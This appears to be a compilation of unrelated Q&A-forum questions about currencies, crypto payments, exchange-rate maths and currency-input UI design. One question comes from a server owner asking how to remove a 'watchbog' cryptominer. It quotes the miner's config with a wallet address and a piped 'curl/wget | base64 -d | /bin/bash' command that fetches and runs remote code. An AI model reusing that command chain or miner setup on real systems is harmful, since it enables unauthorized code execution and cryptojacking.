Crypto currency

Need some help with finding a payment method/website plugin with real time crypto currency, for example if I want to sell something on my website for $ 40usd value of bitcoin/Alt coin at the time of purchase, because cryptos are constantly changing in price by the second, this is for my ecommernce website that I'm developing, any help would be a appreciated.

Calculating the best exchange rate for a given currency based on direct conversion vs multiple currency conversion

I am not sure this is the best place to ask this question. Anyways, here it goes. I live in Mauritius and i am travelling to Tokyo soon. So i would like to exchange some currencies before leaving Mauritius, the issue is i am unable to find a simple (mathematical) function that will help me determine what is the best option for me:

Option 1: I exchange my mauritian rupee to USD and then when in tokyo, i exchange the USD to JPY Currently the exchange rate(including all fees) is as follows: 1 USD -> MUR 34.28 and in tokyo 1 USD -> JPY : 106 JPY

And my second option is

MUR to JPY in my country 100 JPY = MUR 31.20

Is there any mathematical way/formula i could use to determine which is the best for me?

a process called ./watchbog is mining crypto currency in our server. how do i stop it?

I have found this question here but I have some more clarification that’s why I am writing again.

I have a process called “watchbog” that is completely hogging my CPU and I don't know what it is

So I did some digging, and found that an executable is being run from the /tmp directory. The folder structure is something like this,


In that folder there are two files, one executable watchbog which is actually being run and one config.json. This is the content of the config file,

{     "algo": "cryptonight",     "api": {         "port": 0,         "access-token": null,         "id": null,         "worker-id": null,         "ipv6": false,         "restricted": true     },     "asm": true,     "autosave": true,     "av": 0,     "background": true,     "colors": true,     "cpu-affinity": null,     "cpu-priority": 3,     "donate-level": 1,     "huge-pages": false,     "hw-aes": null,     "log-file": null,     "max-cpu-usage": 100,     "pools": [         {             "url": "",             "user": "4AbjKdQkedGZXvzm6VxMJb1zLB2CAmCmXdoCisRsQFAUPs4TWFePDUcZzk5ui4EdZXT3uaXXtssqPCoKQPTz7PeZNkKASkm.old",             "pass": "x",             "rig-id": null,             "nicehash": false,             "keepalive": true,             "variant": -1,             "tls": false,             "tls-fingerprint": null         }     ],     "print-time": 60,     "retries": 5,     "retry-pause": 5,     "safe": false,     "threads": [         {             "low_power_mode": 1,             "affine_to_cpu": false,             "asm": true         },         {             "low_power_mode": 1,             "affine_to_cpu": false,             "asm": true         }     ],     "user-agent": null,     "syslog": false,     "watch": false } 

But deleting the folders is not helping, they are being recreated withing few seconds. So I tried to see what other process are running and I found these

solr     32616  0.0  0.0   4504   780 ?        Ss   13:10   0:00 /bin/sh -c (curl -fsSL||wget -q -O- h solr     32618  0.0  0.0  11224  2924 ?        S    13:10   0:00 bash solr     32623  0.2  0.0  11644  3376 ?        S    13:10   0:00 /bin/bash solr     32656  200  0.1 270204  6996 ?        Ssl  13:10   0:26 ./watchbog 

The pastebin url points to another shell command with another shell command with another pastebin url.

(curl -fsSL||wget -q -O- | base64 -d | /bin/bash 

This second pastebin url points to a base64 encoded shell script. I can’t include it here due to character limitation. Here is the link

I am no expert in this field, but it looks like the script is setting a cron job which downloads the executable again.

This is all I could find on my own, can anyone please guide as to how I can stop this whole thing or would I have to redeploy the server again?

How to approach obtaining a range of currency values from a user?

I have a screen within a Windows Forms app that asks the user for costs/fees, per stage. There’s 6 stages. Each can be Estimated or Fixed. If it’s Fixed then a single currency value is required. If it’s Estimated then an estimate between two values must be provided. These all eventually end up in a document.

I’m struggling to find a way to make it easy to use and intuitive. I’m quite limited on the types of controls that can be used – have to stick with Textboxes, captions/labels, dropdowns and currency fields. However I can use C# to do anything in the background and make the form more interactive.

The form currently looks like this and accepts one currency value, with a dropdown to determine fixed/estimated:

First form screenshot

It would look like this when filled in:

First form filled in

An idea I had was to ask first if the fee is estimated or fixed. Then For each ‘Stage’, ask for the relevant value(s). This would change the form on the fly depending on the options that the user chooses.

Quick mockup:

Mockup of new design

In the case of stage 1 which is ‘Estimated’, the Confirm Fee button adds a bit of placeholder text into a readonly textbox.

Button behaviour

Can anyone think of a better way to do this, in terms of UI? Remember that I’m limited by the control types but can do quite a lot in terms of showing/hiding fields, using code to manipulate form behaviour, etc.

Note, the users will be familiar with the concept of fixed/estimated fees and used to specifying different currency values as appropriate. This is one of those processes that only happens on paper at the moment and is being put into an application instead.

How to write currency codes for cryptocurrencies?

For “normal” currencies there is usually a sign (e.g. $ , €) and a code (e.g. USD and EUR) to denote that a number is a monetary value. Depending on your locale setting the sign can be written before or after the amount (variously) and the code (correct me if I’m wrong) can be written strictly only on one side or the other. For example, in Sweden we write 10€ and 10 EUR but in the UK they write €10 and EUR 10.

My question is: how it should be treated in the world of cryptocurrencies? Those currencies don’t have any symbols, only codes (depends on how you see it). Should they be treated as “real” currencies and have the code placed depending on localization? I’m confused because I’ve never encountered any situation where it’s written ETH 10 instead of 10 ETH.

User Expectations – Changing the country, currency and language to reflect their locale


You’re a customer from Germany, and you’ve landed on the UK, mobile, version of a website. You’ve discovered that within the main menu, you can change three things – country, currency and language. Please see the screenshot below.

Country Selecter

You’ve selected the country you want, the currency you want and the language you want. Once you hit “Update”, what would you expect to happen? My thinking is that if the user is in the menu, then the user should remain in the menu after pressing update.

However, a colleague has suggested that the user should return to the homepage as there may be deals that are related to their locale that they could miss.